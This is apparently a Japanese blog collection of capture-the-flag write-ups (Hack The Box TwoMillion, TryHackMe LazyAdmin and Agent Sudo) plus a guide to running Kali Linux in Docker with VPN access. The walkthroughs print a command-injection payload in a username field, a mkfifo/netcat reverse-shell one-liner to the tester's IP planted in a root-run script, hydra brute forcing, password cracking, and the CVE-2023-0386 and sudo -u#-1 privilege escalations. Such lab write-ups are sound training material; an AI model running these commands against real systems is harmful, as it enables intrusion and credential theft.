-rw-r--r-- 1 admin admin 807 May 26 2023 .profile
drwx------ 2 admin admin 4096 Jun 6 2023 .ssh
-rw-r----- 1 root admin 33 Jun 7 08:54 user.txt
user.txtはwww-dataからはアクセス出来ないようになってる。
ヒントは .env
$ curl -b "PHPSESSID=q6hg3iq5ph49gbcnambvmuel77" -XPOST http://2million.htb/api/v1/admin/vpn/generate -H 'Content-Type: application/json' -d '{"username":"admin;cat .env;"}'
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
user.txt
SSHは空いているので、↑のパスワード試してみる
$ ssh admin@2million.htb admin@2million.htb's password: Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64) admin@2million:~$ cat user.txt XXX
バッチリ入れてしまった。なるほどね。
メール周りを見る
次のヒントは
What is the email address of the sender of the email sent to admin?
メールスプールを見てみる
admin@2million:/var/spool/mail$ ls admin admin@2million:/var/spool/mail$ pwd /var/spool/mail ... Subject: Urgent: Patch System OS ... There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty.
脆弱性あるよって言ってる。
- CVE-2023-0386
これっぽいなー。privilege escalationって書いてあるし。
Priviledge Escalationする
このあたりを使わせて貰う
$ scp CVE-2023-0386-main.zip admin@2million.htb:/home/admin/ admin@2million.htb's password: CVE-2023-0386-main.zip 100% 11KB 30.6KB/s 00:00
admin@2million:~$ ls CVE-2023-0386-main.zip user.txt admin@2million:~$ unzip CVE-2023-0386-main.zip Archive: CVE-2023-0386-main.zip acc49811a9083381c28db9ec296774e6a82be419 creating: CVE-2023-0386-main/ inflating: CVE-2023-0386-main/Makefile inflating: CVE-2023-0386-main/README.md inflating: CVE-2023-0386-main/exp.c inflating: CVE-2023-0386-main/fuse.c inflating: CVE-2023-0386-main/getshell.c creating: CVE-2023-0386-main/ovlcap/ extracting: CVE-2023-0386-main/ovlcap/.gitkeep creating: CVE-2023-0386-main/test/ inflating: CVE-2023-0386-main/test/fuse_test.c inflating: CVE-2023-0386-main/test/mnt inflating: CVE-2023-0386-main/test/mnt.c
# Term 1 dmin@2million:~/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc [+] len of gc: 0x3ee0 [+] readdir ...
# Term 2 admin@2million:~/CVE-2023-0386-main$ ./exp uid:1000 gid:1000 [+] mount success total 8 drwxrwxr-x 1 root root 4096 Jun 8 03:17 . drwxrwxr-x 6 root root 4096 Jun 8 03:17 .. -rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file [+] exploit success! To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. root@2million:~/CVE-2023-0386-main# whoami root
やったね
root.txt
root@2million:~# cd /root/ root@2million:/root# pwd /root root@2million:/root# ls root.txt snap thank_you.json root@2million:/root# cat root.txt XXX
Dockerコンテナ上のKali LinuxからOpenVPN
Docker for Mac上にKali LinuxのGUI環境を作成する - Trance Shift 8 - Tech
の記事を書いてGUI出来たやったー、さあTryHackMeのCTFやっぞ!と思ったら
ERROR: Cannot open TUN/TAP dev /dev/net/tun: No such file or directory (errno=2)
トンネルI/Fが無く、VPNが張れなかった。
- [TryHackMe]Docker+KaliでOpenVPN(+αでParrot OSに関して)
- Calling OpenConnect VPN client in docker container shows TUNSETIFF failed: Operation not permitted
このあたりを参考にすると、
- Dockerにはデフォルトでネットワーク関連の機能は省略されている
priviledgedを指定してコンテナを動作させるのが楽だけど、ちょっとリスクが高い- そこで、
NET_ADMINだけ付与して動作させるのがよさそう
とのこと。以前の記事では Dockerfile を使ってなかったので、スクリプトに組み込む形にした。
以下にコマンドを変更。
# Host (--cap-add NET_ADMINを追加) docker run -it --rm \ -p "5905:5900" \ -p "8081:8081" \ -v "kali-xface:/home/kali" \ -v "$HOME/dev/:/mnt/dev" \ --cap-add NET_ADMIN \ --name kali \ kali-xfce zsh -c 'su - kali'
VPNを張る際に、トンネルI/Fが必要になるので、
# vpn.sh sudo mkdir -p /dev/net && sudo mknod /dev/net/tun c 10 200 sudo openvpn vpn/***.ovpn
Docker for Mac上にKali LinuxのGUI環境を作成する (2023/12更新)

CTFなりRedTeamingなりにとても便利なKali Linux。 Try Hack MeとかHack the Boxとかやるのに環境をちゃんと整えてやりたい。というわけで備忘録的にメモ。
Macとかなら普通にコンソール使えるじゃん?という話ではあるのだが、 ペネトレーションテストとかやるためのツールは何かとOSネイティブで動かすと相性が悪く、 例えばMetasploitとかの一部のソースはマルウェアだ!とその手のウイルスプロテクションに怒られたりする。 なので、1枚仮想化して使うことにしてる。
Kali LinuxのOfficalなDocker Imageは kali-rolling という最小イメージしかない。
WindowsのWSL2環境なら、Kali Linuxが用意されてるし、 kex というコマンド一発でGUI環境が準備出来るのだが、Mac上のDocker for Mac環境下だと便利なものがない。ので、構築する必要がある。
- WSL2使ってるならノーチョイスでKeXが良い: https://www.kali.org/docs/wsl/win-kex/
Docker for Windowsの場合はそもそも、WSL2の方が良いと思うので割愛。でも同じ手順で出来ると思う。 ちなみにVirtual Box(6.X)はなんか画面の不具合があるらしくてGUI環境だとすげえ重たくて使うのやめた。
lkaszlachさんのkali-desktopがすごく理想に近いので参考にした。
目標
やりたいことはKeXと同じ。
- Docker環境下のコンテナであること
- ホストとのファイル共有が簡単であること
- 具体的にはカレントディレクトリをボリュームマウントする
Kali Linuxの基本セットアップ
# Image pull docker pull kalilinux/kali-rolling # Launch/detouch docker run -itd --rm kalilinux/kali-rolling => コンテナIDをメモ (CONTAINER_IDとする) # ログイン docker exec -it CONTAINER_ID zsh
# コンテナ内でパッケージのインストール apt update # コア (結構時間かかる) apt install -y zsh apt install -y kali-linux-core kali-defaults kali-tools-web # XとVNC周り apt install -y kali-desktop-xfce x11vnc xvfb novnc dbus-x11
ユーザーも忘れずに作成しておく。
以後は root ではなく kali ユーザーで作業する。
kali ユーザーにしてるのは他の配布イメージと合わせてるのでそうしてる。
# kaliユーザー作成、sudoers登録 adduser kali usermod -G sudo kali
終わったら忘れずに一旦保存。今回は kali-xfce とした。
# 別名で保存 docker commit CONTAINER_ID kali-xfce # ログイン確認 docker run -it --rm kali-xfce zsh # 元のイメージは削除 docker container stop CONTAINER_ID
イメージは13GBぐらいになった。
XとVNCチェック
とりあえずVNCクライアントで動くようにする
# ユーザーログイン 5900はMacのVNCと衝突するので避けた docker run -p "5905:5900" -it --rm kali-xfce zsh -c 'su - kali'
# DISPLAY env export DISPLAY=:1 # Xfvb Xvfb :1 -screen 0 1280x720x24 & # Start X & VNC startxfce4 & x11vnc -display :1 -xkb -forever -shared -repeat -listen 0.0.0.0 -nopw -reopen
localhost:5905 にVNCクライアントで接続確認。
問題なければ進む。
ボリュームの永続化
コンテナは終了しちゃうと初期化されちゃうので、少なくともホームディレクトリだけは永続化しておく。
また、ホストとファイルをやりとりしたいので、ホスト側の特定のディレクトリをマウントしておく
今回は host:~/dev => container:/mnt/dev とした。
docker volume create kali-xfce # 起動コマンドを変更 docker run -it --rm \ -p "5905:5900" \ -v "kali-xface:/home/kali" \ -v "$HOME/dev/:/mnt/dev" \ --name kali \ kali-xfce zsh -c 'su - kali'
noVNC使えるようにする
ブラウザでGUI環境にアクセス出来るのでとても便利。遅延もないし。 ただ、コピペとか出来ないので、その場合はVNC使う
# TCP8081を追加 docker run -it --rm \ -p "5905:5900" \ -p "8081:8081" \ -v "kali-xface:/home/kali" \ -v "$HOME/dev/:/mnt/dev" \ --name kali \ kali-xfce zsh -c 'su - kali'
# DISPLAY env export DISPLAY=:1 # Xfvb Xvfb :1 -screen 0 1280x720x24 & # Start X & VNC startxfce4 & x11vnc -display :1 -xkb -forever -shared -repeat -listen 0.0.0.0 -nopw -reopen & # noVNC /usr/share/novnc/utils/launch.sh --listen 8081 --vnc localhost:5900
上記でnoVNCで使えるはず。 コピペはクリップボード機能経由で。
コマンドまとめ
スクリプトとかにしておくと良い。
# Host docker run -it --rm \ -p "5905:5900" \ -p "8081:8081" \ -v "kali-xface:/home/kali" \ -v "$HOME/dev/:/mnt/dev" \ --name kali \ kali-xfce zsh -c 'su - kali'
# Container export DISPLAY=:1 Xvfb :1 -screen 0 1280x720x24 & startxfce4 & x11vnc -display :1 -xkb -forever -shared -repeat -listen 0.0.0.0 -nopw -reopen & /usr/share/novnc/utils/novnc_proxy --listen 8081 --vnc localhost:5900
2023/12更新
- 最新のDocker Desktopに併せてコマンド体系を一部変更
- zshインストール手順を追加
- novncコマンドの変更 (最新のkaliではコマンドが変更されていた)
Writeup | TryHackMe - LazyAdmin
続いてLazy Admin。
Easy linux machine to practice your skills
ホントにEasyですぅ...?
Recon
rustscan -a 10.10.209.210 -- -A
- 22: SSH
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
- 80: HTTP
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
80番ポート空いてるので見に行く

ディレクトリ探る
gobuster dir -u http://10.10.209.210/ --wordlist /usr/share/wordlists/dirb/small.txt ... =============================================================== /content (Status: 301) [Size: 316] [--> http://10.10.209.210/content/] Progress: 959 / 960 (99.90%)===============================================================

SweetRice CMSにログイン
Exploit DBで探す
面白そうなのを見つけた。
You can access to all mysql backup and download them from this directory. http://localhost/inc/mysql_backup and can access to website files backup from: http://localhost/SweetRice-transfer.zip
URL叩くだけでmysqlのbackupが見れるらしい。まじか。

バックアップしてあるSQLがあるので、持ってくる。
14 => 'INSERT INTO `%--%_options` VALUES(\'.... 5:\\"admin\\";s:7:\\"manager\\";s: 6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s ...
- id: mananger
- password(hash): 42f749ade7f9e195bf475f37a44cafcb
だと思う。
なんだかよくみるハッシュ。CrackStationによると、MD5で Password123
ログイン画面はわからないけど、たまたまExploit DB眺めてた他の脆弱性のスクリプトに、
- https://www.exploit-db.com/exploits/40716
- Arbitrary File Upload
login = r.post('http://' + host + '/as/?type=signin', data=payload)
と書いてあるので、 /as/ がログイン画面っぽい。

リバースシェルが欲しい
Exploit DBによると
- https://www.exploit-db.com/exploits/40700
- PHP Code Execution
この辺が使えそう。書いてある通り、


よく見たらCSRFでアップロード出来るって書いてあるから最初の手順要らなかったかも。
phpinfo(); を
に変更してリバースシェルを作って、PHP側へアクセス。
┌──(kali㉿kali)-[~] └─$ nc -lvnp 6666 listening on [any] 6666 ... connect to [10.6.0.155] from (UNKNOWN) [10.10.209.210] 53670 Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux 12:45:11 up 1:05, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ $ whoami www-data
User flag
$ ls /home itguy $ ls /home/itguy Desktop Documents Downloads Music Pictures Public Templates Videos backup.pl examples.desktop mysql_login.txt user.txt
=> cat user.txt
Root flag
まずは sudo チェック。
$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on THM-Chal:
(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
一発。特定のコマンドだけperlが実行出来る。
$ cat /home/itguy/backup.pl
#!/usr/bin/perl
system("sh", "/etc/copy.sh");
ls -la /home/itguy/backup.pl -rw-r--r-x 1 root root 47 Nov 29 2019 /home/itguy/backup.pl $ ls -la /etc/copy.sh -rw-r--rwx 1 root root 81 Nov 29 2019 /etc/copy.sh
なぜかcopy.shは編集出来るようになってる 別のリバースシェル立てておいて、copy.shの中身を
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.0.155 7777 >/tmp/f
として、実行
sudo /usr/bin/perl /home/itguy/backup.pl
# ls /root/ root.txt # whoami root
=> cat /root/root.txt
Writeup | TryHackMe - Agent Sudo
Hack the Boxに挑戦したら力不足を感じたので、TryHackMeのEasyなCTFを進めていく。
2.Enumerate
How many open ports?
rustscan -a 10.10.80.4 --ulimit 5000 ... PORT STATE SERVICE REASON 21/tcp open ftp syn-ack 22/tcp open ssh syn-ack 80/tcp open http syn-ack Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.49 seconds
=> 3
How you redirect yourself to a secret page?
80番ポートが空いてるので、
を開くと、
Use your own codename as user-agent to access the site.
=> user-agent
What is the agent name?
指示に従うと、UAを書き換えれば良い。 HintにUAをCにしろと書いてあるので、
curl -A "C" http://10.10.80.4/ -v < HTTP/1.1 302 Found < Date: Fri, 21 Oct 2022 12:36:32 GMT < Server: Apache/2.4.29 (Ubuntu) < Location: agent_C_attention.php
リダイレクト先にアクセスすると、
curl -A "C" http://10.10.80.4/agent_C_attention.php -v Attention chris, <br><br> Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak! <br><br>
=> chris
3.Hash cracking and brute-force
FTP password
先ほどの画面によると、「お前のパスワード弱いよ!」と言ってるので、hydraでBruteForce
hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.80.4 ... [DATA] attacking ftp://10.10.80.4:21/ [21][ftp] host: 10.10.80.4 login: chris password: XXXX
Zip file password
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt -rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg -rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
FTP接続して取りあえず全部get
Dear agent J, All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
テキストファイルにこう書いてある。binwalkで調べてみると、
binwalk cutie.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced 869 0x365 Zlib compressed data, best compression 34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt 34820 0x8804 End of Zip archive, footer length: 22
png画像の方はzipファイルっぽいので、先頭のバイトを取り除く
vim -b cutie.png
zipファイルのヘッダーは先頭が 50 4b 03 04
ZIP101 an archive walkthroughimgur.com
ここから上を削除する バイナリエディタはWindowsに持ってきてStirlingを使ったけど、hexeditorが使えるようになった方がいいかもしれない。vimのバイナリエディタはちょっと使いにくい...

7za e cutie.zip
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs AMD Ryzen 7 2700X Eight-Core Processor (800F82),ASM,AES-NI)
Scanning the drive for archives:
1 file, 280 bytes (1 KiB)
Extracting archive: cutie.zip
--
Path = cutie.zip
Type = zip
Physical Size = 280
Enter password (will not be echoed):
ERROR: Wrong password : To_agentR.txt
7zipっぽいので回答しようとするとパスワードを求めらるので、
zip2john cutie.zip > cutie.zip.hash john cutie.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
数秒で割り出せる
steg password
先ほどのzipを解凍すると、中に To_agentR.txt が入ってる。
中身は、
We need to send the picture to 'QXJlYTUx' as soon as possible!
stegとはsteganographyのことだと思う。 もう片方の画像を見てみる。
steghide info cute-alien.jpg "cute-alien.jpg": format: jpeg capacity: 1.8 KB Try to get information about embedded data ? (y/n) y Enter passphrase: steghide: could not extract any data with that passphrase!
steghideで調べると何か埋まってるが、QXJlYTUx がパスワードではない。
大文字小文字がある + xが存在してるので、BASE64っぽい。デコードしてみると、
echo QXJlYTUx | base64 --decode
6文字なのでこれ
Who is the other agent (in full name)?
ファイルを取り出してみる
steghide info cute-alien.jpg
"cute-alien.jpg":
format: jpeg
capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "message.txt":
size: 181.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
steghide extract -xf message.txt -sf cute-alien.jpg Enter passphrase: wrote extracted data to "message.txt".
cat message.txt Hi james, Glad you find this message. Your login password is XXXX Don't ask me why the password look cheesy, ask agent R who set this password for you. Your buddy, chris
=> james
SSH password
=> XXXX! だと思うけど、 XXXX で通った (回答自体はどっちでも通る?)
4.Capture the user flag
パスワードは ! 付きの方が正解
# 別の日に再開したのでIPが変わった ssh james@10.10.180.39 cat user_flag.txt
What is the incident of the photo called?
また画像がおいてあるので持ってきて、
scp james@10.10.180.39:~/Alien_autospy.jpg . james@10.10.180.39's password: Alien_autospy.jpg
特に変な所はなさそうな画像。質問はこの写真ってなんて呼ばれてるの?なので、 Google画像検索に掛ける => ロズウェル事件 なるほど。
Roswell Incident Foxnews で検索
Filmmaker reveals how he faked infamous 'Roswell alien autopsy' footage in a London apartment`
=> Roswell alien autopsy
ちょっとわかりにくかった。英語ムズカシイ
5.Privilege escalation
CVE number for the escalation
とりあえずjamesで入る。
ssh james@10.10.180.39
お約束の sudo -l したら気になる記述が。
james@agent-sudo:~$ sudo -l
Matching Defaults entries for james on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
(ALL, !root) /bin/bash ってなんだ?(見たことない)と思って検索したら、
sudo 1.8.27 Security Bypass。
james@agent-sudo:~$ sudo --version Sudo version 1.8.21p2 Sudoers policy plugin version 1.8.21p2 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.21p2
たぶんこれだわ。
=> CVE-2019-14287
What is the root flag?
上のExploit DBの通りやる
james@agent-sudo:~$ sudo -u#-1 /bin/bash root@agent-sudo:~# whoami root
簡単。
root@agent-sudo:~# cd /root/ root@agent-sudo:/root# ls root.txt root@agent-sudo:/root# cat root.txt To Mr.hacker, Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. Your flag is XXXX By, DesKel a.k.a Agent R
(Bonus) Who is Agent R?
=> DesKel